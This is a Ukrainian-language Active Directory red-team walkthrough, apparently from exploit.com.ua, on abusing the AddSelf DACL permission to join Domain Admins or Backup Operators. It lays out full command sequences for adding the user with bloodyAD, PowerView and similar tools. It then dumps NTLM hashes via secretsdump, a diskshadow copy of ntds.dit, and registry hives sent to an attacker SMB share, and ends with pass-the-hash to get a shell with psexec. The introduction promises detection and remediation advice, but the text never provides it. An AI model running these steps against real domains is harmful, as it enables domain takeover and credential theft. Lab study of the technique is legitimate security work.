_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/redteam/abusing_ad-dacl_addself // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#AD-DACL#PRIVILEGE ESCALATION#ACTIVE DIRECTORY
FILE_INFO_DECRYPTED
TRANSLATE: @exploit.com.ua

У цій публікації досліджується зловживання функцією AddSelf в Active Directory — поширена помилка конфігурації, пов’язана зі списками керування доступом (DACL). Зокрема, експлуатуючи дозвіл AddSelf, зловмисники можуть підвищувати свої привілеї, самостійно додаючи себе до привілейованих груп, таких як Domain Admins або Backup Operators. У результаті вони отримують адміністративний контроль, можливість горизонтального переміщення (lateral movement) мережею, доступ до конфіденційних систем та закріплення в інфраструктурі.

Крім того, зловмисники можуть проводити Kerberoasting атаки для крадіжки облікових даних або отримання контролю над даними резервного копіювання. Якщо таке зловживання залишиться непоміченим і не усуненим, це може призвести до повного захоплення домену.

Лабораторне середовище, необхідне для симуляції цих атак, включає методи, зіставлені з матрицею MITRE ATT&CK, що допомагає чітко зрозуміти пов’язані техніки та тактики. У цій статті також розглянуто механізми виявлення підозрілої активності, пов’язаної з атаками AddSelf, та надано дієві рекомендації щодо усунення цих вразливостей. Зрештою, цей огляд надає фахівцям із безпеки критично важливі знання для розпізнавання та захисту від цих поширених загроз.

Зміст

  • Дозвіл AddSelf
  • Попередні вимоги (Prerequisites)
  • Налаштування лабораторії №1 – Користувач має дозвіл AddSelf на групу Domain Admins
  • Фаза експлуатації I – Зловживання AddSelf на групі Domain Admins
  • Bloodhound – Пошук слабких дозволів
  • Методи експлуатації – Маніпуляція обліковими записами (T1098)
  • Linux: BloodyAD
  • Linux: Net RPC
  • Linux: Ldap_shell
  • Windows: PowerShell – модуль PowerView
  • Windows: PowerShell – модуль Active Directory
  • Post Exploitation – Дамп хешів за допомогою інструментів Impacket
  • Налаштування лабораторії №2 – Користувач має дозвіл AddSelf на групу Backup Operators
  • Фаза експлуатації II – Зловживання AddSelf на групі Backup Operators
  • Bloodhound – Пошук слабких дозволів
  • Методи експлуатації – Маніпуляція обліковими записами (T1098)
  • Linux: інструмент adduserstogroup
  • Post Exploitation – Дамп хешів за допомогою Impacket
  • Альтернативний метод дампу хешів через Impacket

Дозвіл AddSelf

Дозвіл AddSelf в Active Directory дозволяє користувачам самостійно додавати себе до цільової групи безпеки. Завдяки механізму делегування прав у групах безпеки, учасники такої групи отримують ті самі привілеї, якими володіє сама група.

Додавши себе до групи та оновивши свій токен доступу, ви отримуєте всі привілеї, що належать цій групі.

Наслідки зловживання AddSelf DACL можуть змінюватися залежно від того, яка саме група була атакована. Нижче наведено розбір потенційного впливу з точки зору зловмисника:

Попередні вимоги (Prerequisites)

  • Windows Server 2019: у ролі контролера домену Active Directory.
  • Kali Linux: основна атакуюча машина.
  • Інструменти: Bloodhound (для візуалізації шляхів атаки), Net RPC, BloodyAD, Ldap_shell (для маніпуляцій з об’єктами AD через Linux), Powerview (PowerShell-скрипт для розвідки та експлуатації в Windows), Impacket (набір Python-скриптів для роботи з мережевими протоколами)
  • Windows 10/11: у ролі клієнтської робочої станції в домені.

Налаштування лабораторії – Користувач має дозвіл AddSelf на групу Domain Admins

Створення середовища AD:

Щоб симулювати середовище Active Directory, вам знадобляться Windows Server у ролі контролера домену (DC) та клієнтська машина (Windows або Linux), на якій ви зможете запускати інструменти для збору інформації та проведення експлуатації.

Контролер домену (Domain Controller):

  • Встановіть Windows Server (рекомендовано версії 2016 або 2019).
  • Підвищте роль сервера до контролера домену, додавши роль Active Directory Domain Services.
  • Налаштуйте домен (наприклад, ignite.local).

Облікові записи користувачів:

  • Створіть звичайний обліковий запис користувача з ім’ям Shreya.
net user shreya Password@1 /add /domain

  • Призначення привілею «AddSelf» користувачу Shreya:
  • По-перше, після налаштування вашого середовища AD, вам необхідно призначити привілей «AddSelf» користувачу Shreya для групи Domain Admins.
  • Для початку відкрийте оснастку Active Directory Users and Computers (ADUC) на Контролері Домену.
  • Далі увімкніть режим відображення Advanced Features, натиснувши View > Advanced Features.
  • Після цього знайдіть групу Domain Admins у контейнері Users.
  • Нарешті, натисніть правою кнопкою миші на Domain Admins і виберіть Properties (Властивості).

  • Перейдіть на вкладку Security (Безпека) і натисніть кнопку Add (Додати).

  • У полі «Enter the object name to select» (Введіть ім’я об’єкта для вибору) введіть Shreya, натисніть Check Names (Перевірити імена), а потім — OK.
  • Виберіть користувача Shreya і в розділі Permissions (Дозволи) натисніть кнопку Advanced (Додатково).
  • У вікні Advanced security settings (Додаткові параметри безпеки) двічі клацніть на запис дозволів для користувача Shreya.
  • У розділі Permissions (Дозволи) встановіть прапорець для права Add/remove self as member (Додавання/видалення себе як учасника).
  • Застосуйте налаштування.

На цьому етапі Shreya вже має права AddSelf стосовно групи Domain Admins, що означає, що вона може самостійно додати себе до цієї групи.

Фаза експлуатації I – Зловживання AddSelf на групі Domain Admins

Bloodhound – Пошук слабких дозволів

Використання BloodHound для підтвердження привілеїв: Ви можете скористатися BloodHound, щоб переконатися, що Shreya дійсно має дозвіл AddSelf для групи Domain Admins.

bloodhound-python -u shreya -p Password@1 -ns 192.168.1.48 -d ignite.local -c All

AddSelf Active Directory Abuse

На основі графічного представлення в BloodHound, тестер хоче ідентифікувати вихідні об’єкти керування (outbound object control) для обраного користувача, де значення контролю об’єктів першого ступеня (first degree object control) дорівнює 1.

Це дозволяє чітко побачити прямі дозволи користувача Shreya на інші об’єкти домену. У нашому випадку BloodHound покаже прямий зв’язок (edge) від вузла користувача до вузла групи Domain Admins з позначкою AddSelf.

Таким чином було продемонстровано, що користувач Shreya має привілей AddSelf стосовно групи Domain Admin.

Методи експлуатації – Маніпуляція обліковими записами (T1098)

Linux: BloodyAD

Це можна реалізувати за допомогою інструменту bloodyAD.

Тестувальник може зловжити цим дозволом, додавши користувача Shreya до групи Domain Admins, а потім вивівши список учасників цієї групи, щоб переконатися, що Shreya стала адміністратором домену.

bloodyAD --host "192.168.1.48" -d "ignite.local" -u "shreya" -p "Password@1" add groupMember "Domain Admins" "shreya"

AddSelf Active Directory Abuse

Net RPC

Використовуйте команду net rpc, щоб вивести список користувачів у групі.

net rpc group members "Domain Admins" -U ignite.local/shreya%'Password@1' -S 192.168.1.48

Linux Ldap_shell

Як альтернативу, цього можна досягти за допомогою ldap_shell.

Цей інструмент надає інтерактивну оболонку для роботи з LDAP, що дозволяє зловмиснику виконувати запити та змінювати атрибути об’єктів у реальному часі, використовуючи права скомпрометованого користувача.

ldap_shell ignite.local/shreya:Password@1 -dc-ip 192.168.1.48

Windows PowerShell – Powerview

Зловмисник може додати користувача до групи. Цього можна досягти за допомогою команди Add-DomainGroupMember (модуль PowerView).

powershell -ep bypass
Import-Module .PowerView.ps1
Add-DomainGroupMember -Identity "Domain Admins" -Members shreya -Verbose

AddSelf Active Directory Abuse

Таким чином, у властивостях користувача ми бачимо, що Shreya стала учасником групи Domain Admins.

Windows PowerShell – Active Directory module

Зловмисник може додати користувача до групи. Цього можна досягти за допомогою стандартного модуля PowerShell Active Directory.

Get-Module -Name ActiveDirectory -ListAvailable
Import-Module -Name ActiveDirectory
Add-ADGroupMember -Identity 'Domain Admins' -Members 'shreya'

Post Exploitation – Дамп хешів за допомогою Impacket

Після експлуатації зловживання AddSelf, скомпрометований обліковий запис було додано до групи Domain Admins. Маючи підвищені привілеї, можна виконати дамп NTLM-хешів із Контролера Домену, скориставшись інструментом secretsdump із набору Impacket.

impacket-secretsdump 'ignite.local'/'shreya':'Password@1'@'192.168.1.48'

AddSelf Active Directory Abuse

Це дозволило отримати облікові дані Domain Admin та хеш krbtgt, що відкриває шлях для подальших атак, таких як Golden Ticket.

Налаштування лабораторії – Користувач має дозвіл AddSelf на групу Backup Operators

Створення середовища AD:

Щоб симулювати середовище Active Directory, вам знадобляться Windows Server у ролі контролера домену (DC) та клієнтська машина (Windows або Linux), на якій ви зможете запускати інструменти для збору інформації та проведення експлуатації.

Контролер домену (Domain Controller):

  • Встановіть Windows Server (рекомендовано версії 2016 або 2019).
  • Підвищте роль сервера до контролера домену, додавши роль Active Directory Domain Services.
  • Налаштуйте домен (наприклад, ignite.local).

Облікові записи користувачів:

  • Створіть звичайний обліковий запис користувача з ім’ям Aarav.

Призначення привілею «AddSelf» користувачу Aarav:

Після налаштування вашого середовища AD вам необхідно призначити привілей «AddSelf» користувачу Aarav для групи Backup Operators.

  • Відкрийте Active Directory Users and Computers (ADUC) на Контролері Домену.
  • Увімкніть режим відображення Advanced Features, натиснувши View > Advanced Features.
  • Знайдіть групу Backup Operators у контейнері Users.
  • Натисніть правою кнопкою миші на Backup Operators і перейдіть у Properties (Властивості).

  • Перейдіть на вкладку Security (Безпека) і натисніть кнопку Add (Додати).
  • У полі «Enter the object name to select» (Введіть ім’я об’єкта для вибору) введіть Aarav, натисніть Check Names (Перевірити імена), а потім — OK.
  • Виберіть користувача Aarav і в розділі Permissions (Дозволи) натисніть кнопку Advanced (Додатково).
  • У вікні Advanced security settings (Додаткові параметри безпеки) двічі клацніть на запис дозволів для користувача Aarav.
  • У розділі Permissions (Дозволи) встановіть прапорець для права Add/remove self as member (Додавання/видалення себе як учасника).
  • Застосуйте налаштування.

AddSelf Active Directory Abuse

На цьому етапі Aarav має права AddSelf стосовно групи Backup Operators, що означає, що він може самостійно додати себе до цієї групи.

Фаза експлуатації II – Користувач має дозвіл AddSelf на групу Backup Operators

Bloodhound – Пошук слабких дозволів

Використання BloodHound для підтвердження привілеїв: Ви можете скористатися BloodHound, щоб переконатися, що Aarav має дозвіл AddSelf для групи Backup Operators.

bloodhound-python -u aarav -p Password@1 -ns 192.168.1.48 -d ignite.local -c All

На основі графічного представлення в BloodHound, тестувальник хоче ідентифікувати вихідні об’єкти керування (outbound object control) для обраного користувача, де значення прямого контролю об’єктів (first degree object control) дорівнює 1.

AddSelf Active Directory Abuse

Таким чином було продемонстровано, що користувач Aarav має привілей AddSelf стосовно групи Backup Operators.

Як альтернативу, вищеописане налаштування лабораторії можна виконати за допомогою скрипта dacledit з набору Impacket.

impacket-dacledit -principal aarav -target 'Backup Operators' -dc-ip 192.168.1.48 ignite.local/aarav:Password@1

AddSelf Active Directory Abuse

Методи експлуатації – Маніпуляція обліковими записами (T1098)

adduserstogroup

У цьому випадку тестувальник може зловжити даним дозволом, додавши користувача Aarav до групи Backup Operators та вивівши список учасників цієї групи для підтвердження.

python3 addusertogroup.py -d ignite.local -g "Backup Operators" -a aarav -u aarav -p Password@1

Далі використайте net rpc, щоб вивести список користувачів у групі.

net rpc group members "Backup Operators" -U ignite.local/aarav%'Password@1' -S 192.168.1.48

AddSelf Active Directory Abuse

Post Exploitation – Дамп хешів за допомогою Impacket

Після експлуатації зловживання AddSelf, зловмисник додав скомпрометований обліковий запис до групи Backup Operators. Згодом, маючи підвищені привілеї, він може виконати дамп NTLM-хешів із Контролера Домену, скориставшись інструментом secretsdump із набору Impacket.

Щоб перевірити, чи має користувач Aarav привілей SeBackupPrivilege, ми спочатку підключаємося до цільової машини за допомогою Evil-WinRM. Після цього виконуємо команду whoami /priv для перевірки привілеїв. Як показано нижче, користувач Aarav дійсно має активовані привілеї SeBackupPrivilege та SeRestorePrivilege.

evil-winrm -i 192.168.1.48 -u aarav –p "Password@1"
whoami /priv

Створення та використання тіньової копії тома (Volume Shadow Copy)

На наступному етапі, щоб витягнути NTLM-хеші з Контролера Домену, нам знадобляться файл ntds.dit та кущ реєстру SYSTEM. Однак, оскільки файл ntds.dit залишається заблокованим під час роботи системи, звичайне копіювання не вдасться. Щоб обійти це обмеження, ми скористаємося Diskshadow — вбудованим інструментом Windows — для створення тіньової копії тома (shadow copy) диска C:.

Замість того, щоб вводити команди вручну в оболонці Diskshadow, ми створюємо файл Distributed Shadow File (dsh) для автоматизації процесу. Цей файл дає вказівку Diskshadow створити тіньову копію диска C: як диск Z:. Перед виконанням ми конвертуємо файл у формат, сумісний із Windows, за допомогою утиліти unix2dos.

nano raj.dsh
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
unix2dos raj.dsh

AddSelf Active Directory Abuse

У WinRM-сесії ми переходимо до директорії Temp і завантажуємо файл raj.dsh на цільову машину. Далі ми запускаємо Diskshadow зі сценарієм, який послідовно виконує команди для монтування тіньової копії диска C: як диска Z:.

cd C:Temp
upload raj.dsh
diskshadow /s raj.dsh

Використовуйте RoboCopy, щоб перенести файл ntds.dit із диска Z: до директорії Temp.

robocopy /b z:windowsntds . ntds.dit

AddSelf Active Directory Abuse

Після отримання файлу ntds.dit ми витягуємо кущ реєстру SYSTEM за допомогою команди reg save. Тепер обидва файли знаходяться в директорії Temp, і їх можна перенести на Kali Linux за допомогою команди download.

reg save hklmsystem c:Tempsystem
download ntds.dit
download system

Витягування хешів та отримання адміністративного доступу

Нарешті, у терміналі Kali Linux скористайтеся інструментом secretsdump із набору Impacket, щоб витягнути хеші паролів із файлу ntds.dit та куща реєстру SYSTEM:

impacket-secretsdump -ntds ntds.dit -system system local

AddSelf Active Directory Abuse

Як показано нижче, хеші облікового запису Administrator були успішно витягнуті. Використовуйте Evil-WinRM, щоб увійти в систему під іменем Administrator, використовуючи отриманий хеш (техніка Pass-the-Hash). Таким чином ви завершуєте підвищення привілеїв на контролері домену Windows.

Альтернативний метод дампу хешів за допомогою Impacket

Як альтернативу зловмисники можуть використовувати іншу техніку для дампу хешів паролів, залучаючи інструменти Impacket та pypykatz.

Спочатку налаштуйте SMB-ресурс на вашій машині атакуючого за допомогою impacket-smbserver. У цьому сховищі будуть зберігатися дампи файлів реєстру.

Виконайте наступну команду на вашій машині Kali:

impacket-smbserver share $(pwd) -smb2support

AddSelf Active Directory Abuse

Далі виконайте дамп SAM та SYSTEM із цільової машини, використовуючи інструмент impacket-reg.

impacket-reg "ignite.local"/"aarav":"Password@1"@"192.168.1.48" backup -o '\192.168.1.40share'

Потім скористайтеся pypykatz, щоб витягнути NTLM-хеші паролів із отриманих файлів SAM та SYSTEM:

pypykatz registry --sam SAM.save SYSTEM.save

Нарешті, використайте impacket-psexec, щоб отримати оболонку (shell) на цільовій машині з правами адміністратора, використовуючи витягнутий хеш. Це дозволить завершити підвищення привілеїв на Контролері Домену Windows.

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38 administrator@192.168.1.48

Це забезпечує віддалене виконання коду (RCE) на Контролері Домену, завершуючи процес підвищення привілеїв.

[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...